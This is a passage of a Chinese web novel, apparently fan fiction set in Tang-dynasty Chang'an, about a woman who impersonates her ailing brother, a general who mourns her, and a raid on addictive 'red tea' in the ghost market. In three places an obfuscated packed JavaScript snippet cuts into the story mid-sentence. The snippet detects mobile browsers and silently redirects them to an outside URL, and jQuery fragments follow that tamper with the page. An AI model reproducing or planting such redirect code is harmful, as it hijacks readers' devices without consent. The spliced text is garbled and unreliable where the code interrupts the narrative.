崔蘅皱起眉头:“他怎么也掺和进来了。” 崔璋笑了下:“这我就不清楚了,我只知道,卢凌风在找死。长安红茶乃是天子和公主推崇之物,他却贬斥其为妖茶。伤了这两位的脸面,太子也保不住他。” 崔蘅有些头疼地扶住额头——什么保不住他,太子根本就不会保他,这种事,干好了是立功,干不好就是树敌。 “他当真这么干了?当了几年金吾卫中郎将,政治敏感度竟然为零……” 崔蘅听到崔璋描述,也觉得这茶不是好东西,恨不得学林则徐,弄些生石灰全给它扔水里销了。但是这件事牵扯上了皇家的人,便要慎重,毕竟历史上林则徐都没得到什么好下场。 这些封建王朝的统治者最是薄情寡义,高高在上对生命毫无敬畏之心,用你时对你情深意重,不用时便要杀了你。太子如今尚未上位,朝堂上与公主分庭抗礼,又要在天子面前保持良好形象,他怎么可能让自己手下人跟两个上位者一起对上。至于下面的老百姓,甚至百官,他们的生死难道比天子的颜面还重要吗?这就是崔蘅讨厌封建统治者的原因,有一个算一个,全是人民群众的敌人。 崔璋叹口气:“卢凌风虽然胆大妄为,但是带着金吾卫大张旗鼓查抄红茶,必定不是他自己的主意。不过……前几日我去上朝时,天子提到长安红茶,太子一言未发,连谏言都没有,一旦东窗事发,肯定要牺牲卢凌风这个无足轻重的手下了。” 崔蘅明白崔璋的意思,太子应当也想做出政绩,知道长安红茶有问题,想借为百姓考虑的名头让卢凌风去查,但是他又不想将自己置于天子的对立面,只能暗示卢凌风去做这件事,如此一来进可攻退可守,若天子对红茶的态度深恶痛绝,太子便可以说是自己安排手下查抄红茶,若天子对红茶喜欢,他又可以说自己手下自作主张,到时候全推卢凌风这个炮灰身上。 崔蘅越想越生气,抓起茶杯就往地上摔:“这个阴险的政治家!老娘要推翻他!” 崔璋顿时吓得咳嗽起来:“咳咳……你、咳……你低声些,别这么激动,跟着我混迹官场这么多年,难道不知道,政治家都是阴险的,怎么这次被阴的是卢凌风你就受不了了?现在最要紧的是解决问题。” 崔蘅撇撇嘴,默默坐回椅子上,她想了半天:“我想到个损招。” 崔璋疑惑问道:“计将安出?” 崔蘅勾起唇角:“找人放出谣言,就说市面上出现一种假冒伪劣的长安红茶,以次充好,贩卖者为了牟取暴利加入了违禁之物,有的人分辨不出真品和赝品,喝过之后出现上瘾症状和戒断反应。等这谣言散播开来,再向天子进言,就说多名官员受伪劣红茶毒害,若不严查伪劣红茶,恐对社稷不利,对天子的名声也有妨碍。届时这些皇家人为了维护自己的体面,也不会坐视不理。对了,兄长你不是还认识一些,快要致仕,想青史留名的言官嘛,若天子不肯,就鼓励那些老家伙去威胁皇帝,撞龙柱,就说……恳请天子严查伪劣红茶,否则大唐社稷不保。反正他们尸位素餐一辈子,能在死前彰一回气节,也算死得其所!若皇帝当真坐视不理,就让他被史书记上一笔昏君的名。” 崔璋默默喝了口水,评价道:“是挺损的……” 崔蘅却道:“这些统治者整天不做正事,就想着喝茶品茗,拿下面的人当傻子吗?!” 崔蘅有时候甚至怀疑自己是不是真的穿越到的是历史上的唐朝,怎么这么怪异,虽然历史上是有昏君,可是君主最该克制欲望,因为他们的一言一行会产生巨大影响,他们的喜好若被人摸透,便会影响整个王朝的动向,一个君主,不因政清人和被记在史书中,反倒因为喜欢喝什么鬼的红茶被记一笔,难道是很长脸的事情吗?! 崔璋见崔蘅气得头发丝都快立起来了,轻咳几声:“不过,在此之前,你还是去劝劝卢凌风,近日让他别再动长安红茶,否则……我们保不了他。” “嗯。” 崔蘅答应下来,她瞥了崔璋的食指一眼:“有空也给我做个一样的扳指,你这一想事情就喜欢搓扳指的习惯,我也得慢慢培养起来。” 崔璋闻言下意识垂眼看了自己的手指一眼,随即无奈地握紧手,有些埋怨道:“从明天起我不戴扳指便是,最近你把我盯得也太紧了,弄得我好不自在。” 崔蘅托着下巴盯着崔璋:“兄长就忍忍吧,我连棺材都躺了,这点小事,兄长还无法忍受?” 崔璋说不过她,干脆不说了。 当天晚饭过后,崔蘅又扮成崔璋,亲自登门拜访卢凌风,守门的金吾卫将她请到客厅,让她在这里等,崔蘅便倚在窗前一边喝茶一边等卢凌风回来。所以忙于查案的卢凌风一进门便见到这样一副场景,一个与崔蘅容貌极像的人身穿白衣,靠在窗前喝茶,这令卢凌风产生了一瞬间恍惚。 “知意……” 在他反应过来之前,一声“知意”已经脱口而出,崔蘅听到声音,转头看了过来,卢凌风这才清醒过来。他深深叹口气:“原来是崔右丞,抱歉,我……” 崔蘅眯了眯眼睛:“无妨,我与舍妹容貌确实相像,光线昏暗,也难怪卢将军会认错。” 卢凌风心道,确实太像了,这一晃眼,还以为是男装的崔蘅。 “崔右丞登门拜访有何贵干?” 崔蘅递给卢凌风两个布袋,示意他打开:“卢将军看看吧,或许对你近来所做之事有所帮助。” 卢凌风疑惑地将那两个布袋打开,见是两小块茶叶,他略一思索:“这难道是,长安红茶?” 崔蘅笑了笑:“卢将军聪慧,一看就明白。不过,将军只知其一不知其二,左边那一袋,是天子和公主所饮红茶,右边那一袋,是我命人从鬼市上买回来的。两种红茶味道虽然相近,鬼市上买回来的红茶,却有致人幻觉,使人成瘾的作用。” 卢凌风皱眉:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他那双幽深无底的眼睛无波无澜地盯着他:“至于查抄过程中,被抄的到底是好的红茶,还是假的红茶,甚至全部抄掉,还不是将军你说了算么。” 卢凌风听得冷汗直冒,这是他第一次如此直观地见识到权臣如何“弄权”,更可怕的是,崔璋未用任何阴谋,他用的全是阳谋。卢凌风重重吐出一口气,忽然自嘲一笑:“我了解过你这些年在州府所做的事,为官一任,富饶一方,你所待过的州县,去时是贫困县,离开时所纳赋税已经成倍增加,却又并没有听到百姓对苛捐杂税的抱怨……崔璋,你确实是个人物,有才能,又有手段,难怪年纪轻轻便能做到尚书右丞的位置。” 崔蘅听到这里,有些欣慰,崔璋确实是个好官,治理州县她虽然也有参与,但她性子跳脱,很多政令无法推进,崔璋却十分沉稳,像一块压舱石,若没有这个哥哥,崔蘅也做不了自己想做的事。 她深深叹口气,还没忘记自己在假扮兄长,装模做样地咳嗽几声:“咳咳……每个人都有擅长和不擅长,咳……卢将军何必发此感慨。我这纸糊似的身子……倒是羡慕卢将军能驰骋沙场。” 卢凌风看着她:“你……为什么要跟我说这些话?” 崔蘅闭了闭眼——还不是因为你这热血笨蛋冲动行事,怕你莫名其妙被人害死。 她想了一下,委婉道:“我见过你的身手,有惜才之心,你这样的人物若死在政权倾轧之下,就太可惜了。” 卢凌风没再说话,看着像是听进去了,崔蘅便朝他行了一礼:“那我就先告辞。” 卢凌风见他要走,急忙道:“崔右丞留步。不知……不知那香……现在有吗?” 崔蘅愣了下,道:“卢将军还失眠吗?” 卢凌风有些难以启齿:“倒是未曾。” “那便不要再点了。” 卢凌风直接上前挡住崔蘅的去路,他不说理由,只行礼道:“崔右丞,还望成全。” 崔蘅轻轻皱了皱眉:“三日后,我派人送来。” 14.我不会再用香了 崔璋的官位是正四品下,做的又是为天子监察百官之事,他若求见,天子还是会见他。 崔蘅便借着述职的机会,向天子阐明目前市面上红茶的问题之后,她还故意将事情说得严重很多——若真的有一种东西,让人必须时时饮用才能舒心,产生了戒断反应,那岂不是卖红茶的人说什么,喝茶的人就要听什么。百官都被假冒的红茶控制,那朝廷的百官,还是大唐的百官吗? 天子顿时坐不住了,涉及自己统治的稳定性,他自然会认真。于是天子当场就下了一道旨意给崔蘅,令他查抄所有市面上在贩红茶,并挖出背后之人,若对朝廷有异心,全部从严处置。 崔蘅朝天子行了一礼道:“遵陛下旨意。还有一事,据臣所知,金吾卫中郎将卢凌风因城中一起命案调查,也查到了长安红茶,且已经查出一些眉目。不如将两案并案调查,或许会有新的收获。” “哦?竟有此事?怎么还与命案扯上关系了。” 崔蘅垂下眼睛:“是在金吾卫巡视途中发现了命案,才进行调查。金吾卫乃是天子护从,发生在皇城脚下的命案性质严重,卢将军心系天子安危,便顺着线索去查。不过,调查命案的主力乃是长安县,并非金吾卫。” 天子闻言轻轻“嗯”了一声:“命案就移交给长安县吧,让金吾卫协助你调查长安红茶。” 崔蘅见他没有再提并案调查的事情,便应下来。原本她提这件事就是为了给卢凌风越权调查命案的行为在天子面前过个明路,否则将来被人提起来,这件事可大可小。 崔蘅觉得自己已经这么提醒了,卢凌风应当不会再出问题,就算要查,至少也等天子的命令下来再说。但是他还是带人闯鬼市,而且中了埋伏,差点死在那里,这会儿他回到将军府邸,正被禁足家中。 崔蘅听到手下人的回报时,都气笑了,看来太子还是比较仁慈的,为他这个幼时伴读留了面子,没直接给他塞进大牢里。天子力弱,权力被儿子与妹妹分刮,但是不论太子实际上到底有没有把天子放在眼里,面上功夫总要做一做,否则将来这些都会成为政敌攻讦他的借口。 崔蘅深深叹了口气,崔璋趁机给卢凌风上眼药:“咱们这位卢将军,早晚被自己的冲动害死。妹妹,不然你换个人喜欢吧。” 崔蘅鼓着脸瞥他一眼:“他只是赤子之心,若朝堂上都是我等玩弄权术之臣,不也……不也无趣得很。” 崔璋忍不住给她鼓起掌来:“我阿妹护起短来是真的护,连自己都骂。” 崔璋也不是单纯给卢凌风上眼药,他是真心这么觉得,卢凌风就像一根完全不拐弯的大木头,他的直属上司都要不管他死活了,他还毫无所觉,还忠君爱国呢,大概太子要杀他也不会反抗的吧…… “别说,这种武力值高又单纯的忠心下属,我也想多几个,若非看在你的面子上,我真想将他收入麾下,榨干剩余价值然后让他作为炮灰壮烈死去。他的身后名,我肯定给他安排得妥妥当当。” 崔蘅一把抓住崔璋的衣领,痛声道:“奸相!停止你危险的想法!” 她骂完人,又顶着崔璋的脸从内室中走出来:“来人,去金吾卫处,把天子敕令告知卢将军,命案移交到长安县手中,长安红茶的案子如今由我负责,金吾卫要倾力配合。” 她说完又补充一句:“要同卢将军说清楚,两案虽未并案调查,但是若有交叉,为了不遗漏重要线索,也当全力缉凶。” 崔蘅的人带话过去,苏无名费鸡师二人也在将军府邸,苏无名终究是个文人,且被狄仁杰调教过,对朝堂上的事比卢凌风经验多,很快便明白过来这件事的始末。他感慨道:“中郎将,原来与崔右丞有交情。听闻崔右丞为人圆滑,但也冷漠,不买任何人的账,也从不在朝堂站队,这次竟然替中郎将说话。” 卢凌风把玩着那一小块同天子敕令一同送来的香,沉吟道:“崔璋此人心机深沉,却也算个好官,上次还特意提醒我调查长安红茶,要注意分寸。” “那你可真是辜负人家的好意了,现在有了敕令,卢将军再做什么事,便名正言顺,不需再有顾虑。” 苏无名好奇又试探地问道:“能为你考虑到这个份上,实在够意思,你们……到底什么关系?” 卢凌风沉默一下:“不关你的事。” 苏无名微微叹口气:“我倒是听说了一些,前几日崔右丞家里有丧事,是……他的妹妹……” “苏无名!” 苏无名见卢凌风是真生气了,嘴角抽搐一下,移开视线:“我也是道听途说,道听途说。” 费鸡师看看苏无名,又看看卢凌风:“你们支支吾吾说得什么,怎么还打起哑迷来了。卢凌风,不愧是范阳卢氏,果然往来无白丁啊。” 卢凌风不想解释,他将敕令和那一小块香一同收了起来。其实他也很犹豫,不知该不该再用这香。沉溺鬼神之事,实非大丈夫所为…… 苏无名此时忽然开口:“哎,卢将军,你上次怎么会忽然提到返魂香啊?你对香料又没什么研究,还知道它跟那些新娘有关。” 卢凌风眼睛猛地亮了——对啊,上次点了香之后,崔蘅告诉他返魂香的事,居然就真的是案子的线索,再如何……再如何,他得见她一面,说声感谢。 卢凌风忽然大力拍了拍苏无名的肩膀:“谢谢你啊苏无名,我得回一趟金吾卫大营。” “啊?现在?” 卢凌风轻咳一声:“你没听天子敕令,让金吾卫倾力配合查案吗,我当然要回去整兵,再探鬼市!” “这……” 苏无名眼见卢凌风离开的背影,眉头紧紧皱了起来,费鸡师凑过来问道:“你看什么呢?” 苏无名轻轻“嘶”了一声:“你有没有闻到,中郎将身上,好像有一股很特别的香味。” 费鸡师也跟着他一起往卢凌风的背影看过去:“我怎么没闻到。” “啧……” 卢凌风回到金吾卫大营,才忽然想起一件事,他现在点香是想见一个鬼魂,金吾卫大营中杀伐气重,鬼魂在此处出现,会不会对她产生不良的影响?可是,第一次见面就是在金吾卫大营中,卢凌风又怕换了地方她找不到自己。 卢凌风站在榻边犹豫许久,最终还是将那一小块香点燃,轻轻盖上香炉之后,他便慢慢在榻上躺了下来。 ——就再见这最后一次吧,见过这次之后,便就此了断。 卢凌风点上香之后,很快便睡着了,崔蘅知道他要了香回去,便令人一直跟着他,见他进了金吾卫大营,也一起跟进去。这下她奉旨查长安红茶,更有理由同金吾卫打交道了,并不会有人怀疑他的行为。 这次崔蘅直入卢凌风的营帐,崔蘅为了以女装的样子见卢凌风,特地没有在男装底下做太多伪装,垫肩束胸,通通没有装扮,好在天黑,又没遇见熟人,也无妨。 崔蘅脱掉外衣藏在轮椅的夹层,戴上面纱,再将发髻扯下来,便成了一名女子形象。崔蘅有个神奇的师门,师门中还有一群神奇的师兄弟姐妹,就有一名师弟曾经江湖卖艺,学过口技,崔蘅从他那里学了些皮毛,便能模仿崔璋的声音,这也是她能够模仿崔璋而不被人认出来的重要原因。 转进内室,果然闻到越犀香的袅袅香气,她将香炉中的香压灭,转身去看躺在床上的卢凌风,见他未醒,便轻轻推他:“卢凌风,卢凌风……醒醒。” 卢凌风这次并没有上次那样疲累,虽然闻了香,却也只是浅眠——崔蘅哪会给他用那么歹毒的迷香,只不过是助眠作用强些,若他本身并不疲累,这香的作用便微乎其微了。 卢凌风被她推醒,崔蘅才朝他笑了一下,将面纱摘下来,卢凌风猛地坐起,尽管不是第一次,还是满脸不可思议地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448295|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着崔蘅:“你竟真的来了。” “不是卢将军唤我来的吗?” 卢凌风听崔蘅开口,更加震惊,却也没问缘由。他如今当她是鬼,鬼域之事,他们人间的人如何能问清楚。他盯着崔蘅吞了吞唾沫:“是啊,我想谢谢你,对我说返魂香的事情。” 崔蘅笑了一下:“不客气,能帮到你就好。” 卢凌风忽然有些失落地低下头:“我们何时这般生疏了。” 崔蘅也哽了一下,她实在不知道该对他说些什么,犹豫一下,她将自己的手塞进卢凌风的手心,轻轻握住他:“倒不是生疏,你我如今阴阳两隔,我也不知该说些什么。” 卢凌风忽然觉得心间钝痛,他沉默半晌,终于还是深吸一口气,道:“你说得对,我不该再打扰你,沉溺于鬼神之事,亦非大丈夫所为。” 崔蘅沉默着没有说话,却听卢凌风继续说道:“今日约见,其实是想同你告别。香,我不会再用了。” 崔蘅闻言猛地抬起眼,愣愣盯着他,她倒是想过用这种方式让卢凌风渐渐适应,认清他们之间的差距,早点接受现实。只是没想到,他认清得这么快。 真不愧是她看中的人,跟那些为了点男女之事哭哭啼啼的一点都不一样。 崔蘅忽然笑了一下:“君当如此,甚好。” ——只是,情深不能隔生死,盼君深情,怕君深情……卢凌风真说出这种告别的话了,反倒叫她有些失落。 崔蘅正想着,忽然见卢凌风朝她伸过手来,他的手指在脸上轻轻抚过,崔蘅才意识到,她好像又忍不住掉了眼泪。崔蘅赶紧侧开头:“你别误会,我是高兴。” 卢凌风却将手轻轻放在她颈后,朝自己缓慢地拉过来。他把崔蘅的脑袋按在肩膀上,好久没说出话来,崔蘅听到他呼吸声有些颤抖,不用看也知道,他应是在哭。只不过卢凌风还是要面子的,不乐意她看见他哭的样子。 “我知道,我早就没想你了,你也早点投胎去吧。” 崔蘅仰起头,抓着卢凌风的衣襟哭得几乎喘不过气,却狠狠咬着嘴唇,不肯发出一点声音。不知过了多久,他们两人都各自收拾情绪,冷静下来,崔蘅想开个玩笑缓解一下气氛,道:“你是不是喜欢别的女子了,一直催促我走。” “你……!” 卢凌风才说了一个字,又硬生生转了话头:“你就当是吧。” 崔蘅抬眼盯着他,卢凌风却不看她:“我听说,未成亲的女子得在下面结阴亲才能投胎,你如果……看中了,就、就……” 他有些说不下去,原本也不信鬼神,如今却问起那些风俗,还当真的一样拿出来叮嘱她,卢凌风自己都觉得自己可笑。 崔蘅干脆替他说完:“多谢卢将军为我打算,我若看中哪个俊俏少年,也不会顾念你的。” 卢凌风闭上眼睛,半天只道出一个字:“好。” 崔蘅从床边站起身,她见卢凌风一直没往她这边看,也并没有要送她一程的意思,心想,这次省事,也不必让他睡过去了。也难怪,上一次见面卢凌风说,是不是知道我想你才入我梦,这次他说大丈夫不该沉溺鬼神,自是不同的。 崔蘅也不再留恋,找到自己的衣服,匆匆便往营帐外面跑,她连被这种悲伤情绪裹挟的权利都没有,不能在人前待太久,被人发现可就不好了。 卢凌风等了许久,再也没听到崔蘅的声音,他猛地睁开眼睛,才发现室内已经空空如也,早就没了人。卢凌风愣住,他拿起那只香炉,香炉中的灰早已冷了,却是还剩下一小块未燃的香,卢凌风用香夹将它夹起,在火上烧了烧,待它重新燃起,香炉中升起白烟,卢凌风却丝毫没有睡意。他就盯着它一直烧尽,崔蘅也再没有出现。 “真走了……看来是真走了。” ——也对,她向来果决,若这般撵她还不走,就不是崔知意了。 15.换个身份见面 昨夜刚经历过一次生离死别的人,第二天就又这样冠冕堂皇地见面了。 ——他们不得不见面,崔蘅是调查长安红茶的总负责人,卢凌风奉命配合她的工作,以后他在她手下做事,要“倾力配合”,自然得时常见面。不过,金吾卫的人其实并不买崔蘅的帐,因崔璋是文官,文武互相看不顺眼,金吾卫也只听卢凌风的话。 昨夜崔蘅回家之后狠狠哭了一场,用冰块敷了一晚上,才没肿成核桃,她此时站在卢凌风以及一众金吾卫面前,要竭力面无表情,才能勉强保持威严。站在下面的卢凌风面上也带着疲惫,黑眼圈都掉到苹果肌上了。 崔蘅冷冷地看了卢凌风一眼,道:“中郎将,何故如此憔悴。” 卢凌风也冷冷的,似乎不太想说话:“想到今日便要去鬼市捉拿妖人,十分兴奋,故而失眠。” 他说完抬眼看了崔蘅一眼:“不耽误捉贼,崔右丞不必担心。” 崔蘅将崔璋平素那内敛的傲气表现得十分淋漓尽致,她双目放空,面无表情地抬起下颌:“中郎将勇武,那就出发吧。” 卢凌风闻言疑惑地看了她一眼:“你也要一起去?我看还是不必了吧,崔右丞本就弱不禁风,行走几步都要人用藤椅抬着,真去了鬼市那种地方,身上的阳气还不被吸个干净。” 崔蘅为了模仿崔璋,会故意将脸色化得不好,昨天夜里又折腾那一番,脸色确实苍白,随时都能晕厥过去似的。 崔蘅瞥卢凌风一眼,道:“天子之所以令我做主要负责人,而非中郎将,也是为了鬼市上一些混生活的穷苦百姓不受侵扰,免得金吾卫冲进鬼市,不管不顾全都抓了,卢将军不会忘了吧,崔某的本职便是监察百官,如今做卢将军的监察官,难道不够格吗。” 她说完也懒得跟他做口舌之争,轻轻一抬手道:“出发。” “你……!” 崔蘅就这样坐在两人抬的藤椅上被硬生生抬进了鬼市,她身后跟着两队皂衣护卫,再后面就是威风凛凛的金吾卫,一众人浩浩荡荡进了鬼市。崔璋手下也是有兵的,一部分是官家的护卫,还有大部分是崔蘅收入麾下的武功高强者或能人异士,毕竟进京之后,崔璋干的是监察百官的活,虽然权力大,但也容易得罪人,不培养一些忠于自己的精兵强将,怎么死的都不知道。 这两队人马浩浩荡荡闯入一家茶店,竟正碰见几人正在交易长安红茶,而且交易的几个人还是在职官员。崔蘅闲闲倚在藤椅上,一下下转着指间扳指,并不开口,卢凌风已经手持长枪率先冲了上去:“金吾卫查抄假冒红茶,闲杂人等退后!” 那名官员大约也是喝这长安红茶喝上头了,好不容易买到红茶,哪能眼睁睁看着到手的红茶被抄走,听到是金吾卫,大怒:“金吾卫乃是天子护从,你们不去警巡长安,到这里来捣什么乱?!” 卢凌风还待解释,崔蘅已不耐烦了,抬手轻轻一挥:“通通砸了。” ——崔蘅掺和这件事,也不全是为了卢凌风,她骨子里对毒品深恶痛绝,或者说,相信经历过那段屈辱历史的中国人,都会对毒品深恶痛绝,崔蘅每每想到,激动得眼珠子都通红。虽然目前还不知道这所谓的长安红茶到底是什么东西,但是它令人上瘾,还会产生戒断反应和幻觉,那就与毒品无异,那就全给它砸了,按照她的心意,贩卖者也该拉出去砍头。 金吾卫是不听崔蘅的话的,但是那两队皂衣护卫可不是吃素的,直接冲过去将几个人按在地上,冲上去对着一堆瓶瓶罐罐就是一顿打砸,在场的人都被这一变故吓呆,回过神来,立刻有人叫嚣:“卢凌风!你竟狂傲至此!我要参你!” 崔蘅忽然轻笑一声:“抓你的又不是卢凌风,你何故参他呢。假冒伪劣的长安红茶打着天子旗号,混入市场,扰乱长安秩序,天子命我等查抄伪劣红茶,怎么,刘大人想要阻拦不成?” 那人听崔蘅说出他的身份,不由惊讶,但是很快又硬气起来:“你又是何人!” 崔蘅微微抬起眼睛,浓密的睫毛在脸上留下一小片阴影:“监察右丞,崔坚玉。” 坚玉是崔璋的表字,崔蘅觉得自己这位兄长金质玉相,但是玉乃质软,兄长体弱,便为他取字坚玉。那姓刘的大人在面对金吾卫时尚能争辩,一听崔璋的名字却吓软了腿。 崔璋虽然入京不久,却已经干了几件大事,其中一件就是亲手查抄了自己的父亲兄长,递交罪证,从此他成了天子近臣。崔璋监察百官,手段狠辣无情,除了崔家,短短三月内,就有四门官员遭他“监察”,但是这几家确实有问题,也不知他到底哪里来的罪证,写出来的罪状书生动无比,条目清晰,皆有证据,他们自然辩无可辩。主要是那几家人已经成了天子的眼中钉,崔璋不过顺势而为,为天子解忧。 可是,当官的哪有不怕查,崔璋做了监察右丞之后,长安官员人人自危,原本还因为崔璋貌美,叫他玉面阎王,后来干脆玉面都不叫了,直接叫“催命阎王”,还有传言说,崔璋手中有一本阎王簿,记载了很多官员的罪证,导致大家都躲着他走,就算表面恭敬,背地里却以“断根种”相称,嘲讽他为了升官连亲生父亲兄弟都能献祭。 不过崔璋崔蘅都不在意,管它断不断根,崔家那些傻逼,趁早断了根才好。 “崔……崔右丞……” 崔蘅盯着他:“刘大人,还要参我一本吗?” 在场的官员全都低下了头,叫嚣得最大声的刘大人官最大,被崔蘅盯着,却被吓得头冒冷汗,头都要埋进□□里去了。崔蘅也不逼他非要开口,看向一旁的卢凌风:“卢将军,怎得还不动手?” 卢凌风对上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452003|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文官时,从来没打过这么爽快的仗,因他护从的身份,那些文臣就算表面对他恭维,其实心里却看不上,做什么都要打些嘴上官司,竟没想到,今天崔璋只是报上自己的名号,他们就怂了。卢凌风不由压低声音问道:“你都做了些什么,他们怎么这么怕你?” 崔蘅挑着眼角,慢慢转动手上的碧玉扳指:“他们自己做贼心虚,与我何干。” 于是接下来的事情进行得特别顺利,带着崔蘅进鬼市,好像开了辆坦克进来,一路平推过去。直到他们进了那家阴十娘开的店,刚一进门,立刻有羽箭射来,还是直直冲着崔蘅来的——在场只有她看起来最虚弱,还坐在藤椅上,自然成了靶子。卢凌风反应极快,打掉羽箭,随后更是如同一道人形防弹墙,将崔蘅死死护在身后。 崔蘅位置在他后侧方,不由盯着卢凌风,嘴角泄露了一点笑容,不说别的,卢凌风这身武艺是真好,颇有神挡杀神佛挡杀佛的气场。 羽箭放完,他们今日要寻之人终于出现,他面容可怖,形容诡异,站在高处跳下来,竟如同死神张开披风,带着身后一众恶鬼朝他们扑来。众人皆被这诡异场景吓破了胆,就连卢凌风也震惊不已,手持长枪挡着崔蘅几人往后退了好几步。 崔蘅却抬起头,紧紧皱眉,她闻到一股熟悉的香气——梵香大梦归。 崔蘅心里无比震惊,因为这种香是师门之中亲传弟子才能使用,为何会在鬼市出现?但是她知道这不是纠结这件事的时候,很快反应过来。崔蘅冷笑一声:“学个半吊子,也敢在我面前班门弄斧。” 卢凌风下意识回头,只见崔蘅握住他的枪头,并起二指在上面轻轻抹过,锋利的枪尖立刻划破她的手指。卢凌风惊疑道:“你……!” 崔蘅抬起手凌空在空中画出一个复杂的符文,手指上的血如同受到某种力量指引,抽成一线,随着崔蘅朝前重重一指,那个符文凌空扑在死神面上,一瞬间幻术立刻被破解。众人眼睁睁看到这黑衣死神变成了穿着黑衣服的妖人,他身后的万千恶鬼也尽数消失,只是他的一些手下。 金吾卫见此情景皆万分气恼,各持兵器冲上去厮杀起来。崔蘅靠在藤椅上,轻轻吐出一口气,见卢凌风还站在他身前,忍不住道:“卢将军不去杀敌?” 卢凌风站在原地僵了一会,他微微转过头,神色莫测:“这就去。崔……右丞,可要保重。” 崔蘅觉得他话中有话,忍不住皱起眉头——什么意思,怎么觉得他阴阳怪气。适才崔蘅见众将士被这幻术吓得几乎溃散,又因为师门的秘术竟然被这妖人学去,在鬼市为非作歹,顿时愤怒异常,当时只想破了他的幻术。 她却忘记了,卢凌风是知道她底细的,跟着方外之人学习奇门遁甲八卦异术的是崔蘅,而非从小体弱,一心读书考取功名的崔璋。 16.是不是想我在这扒了你? 虽然最终他们把那个叫阴十娘的店给抄了,但是店主还是跑了,这对崔蘅来说不是大问题,能端掉一个窝点也行,她并不执着于追凶。本以为卢凌风会有不同的想法,但是看他的样子,似乎也不急着追人。 崔蘅犹豫了一下,瞥向卢凌风:“崔某需回宫向天子复命,卢将军……是否还要追凶啊?请自便吧。” 崔蘅跟现在的官员不一样,跟卢凌风这种做得多说得少的人也不一样,她深谙官场之道,跟领导汇报的时候,做了一分她要说五分,而且要时时汇报,既然天子令她去查抄假冒伪劣红茶,查抄完了,将红茶收缴,那就要立刻向领导汇报,她才不会说什么贩卖红茶的主谋逃跑了。逃了就逃了,再卖再抓就是。 卢凌风却一抬手:“此贼人虽然逃跑,但是离开时已然受伤,追凶倒不急在一时。鬼市凶险,适才进门时,那几个贼人首先便攻击崔右丞,说不定早就被人盯上了。我还是将崔右丞护送至安全的地方再离开吧,免得出了什么意外,追究起来,金吾卫岂不受牵连。” 崔蘅听他说得好像也没什么毛病,按自己现在这副两步一咳五步一喘的状态,卢凌风不放心倒在情理之中。 崔蘅便朝旁边的人示意:“将这里的红茶全部带走。” 卢凌风说要护送崔蘅,路上竟就真的一步不离,还总时不时有话没话地跟她闲聊。 “听说崔右丞幼时体弱,被养在乡下庄子里,与家里人聚少离多吧?会不会觉得孤单啊。” 崔蘅有些疑惑,倒是从来没见他对崔璋的事感兴趣,怎么忽然提他童年的事。她下意识转着手上的扳指,沉吟道:“算命的说过,崔某今生是亲缘淡薄之人,虽然跟家里人不常见面,阿蘅却一直陪伴,倒不觉得孤单。” 卢凌风轻嘶了一声:“可是据我所知,她幼时便在外修学,又是被主家挑走的,如何陪伴崔右丞。” “舍妹性格活泼,时常往家中寄送书信。” 她说完盯着卢凌风:“卢将军如何忽然对我以前的事情感兴趣。” 卢凌风笑了一下,露出几颗雪白的牙齿:“随意聊聊,并无特别的原因。” 崔蘅见他这样,忽然觉得汗毛倒立——卢凌风不正常,他可不是这种阳光开朗大男孩的性格,这是要给她下套! 崔蘅不说话了,神色不善地看着卢凌风,后者完全没察觉到她的不悦似的,笑道:“我以前曾到崔家找过知意,他们说她与方外之人交往甚密,崔右丞可知此事?” 崔蘅道:“她交友向来随意,有个方外的师父,我也见过,他们很多东西确实新奇,我也跟着学过一些。” 卢凌风说到这里,崔蘅已经有一些察觉了,她飞速回忆了一下刚才发生的事情,想来想去也只有自己愤怒之下使出破开幻术的那一招,让卢凌风生疑了,毕竟崔璋是一名朝廷官员,会破幻术,还是太过奇怪。 卢凌风转开视线,轻笑道:“原来如此,怪不得适才面对幻术时,崔右丞临危不惧,实在令人佩服。” 他说着说着忽然凑近过来,叹息道:“本将军好似从未仔细观察过崔右丞,这样一看,你同知意长得可真像,除了脸上的伤痕,简直一模一样。” 崔蘅皱起眉头,盯着卢凌风没有开口,卢凌风却笑了下:“崔右丞可真是如传言所说……” 他一边说着,忽然抬手重重抓住了她搭在藤椅扶手的手腕上。崔蘅今日穿的袍子比较宽松,袖口宽广,卢凌风竟顺着她的袖口往她靠近手肘的小臂内侧摸了一把。 “面若好女。” 崔蘅一瞬间都懵了,他那手在她手腕内侧摸得一下让她差点叫出声来,崔蘅有个小毛病,她怕痒,非常怕,同卢凌风在一起时也几乎不许他突然碰触。 崔蘅猛地抽回手,震惊地看着他,卢凌风这一下动作很隐秘,抬藤椅的两个人都没注意到,她不敢随意发作,只能压低声音吼道:“卢凌风你放肆!” 卢凌风若无其事地收回手,轻描淡写道:“崔右丞消消气,是本将军失言,对不住了。” 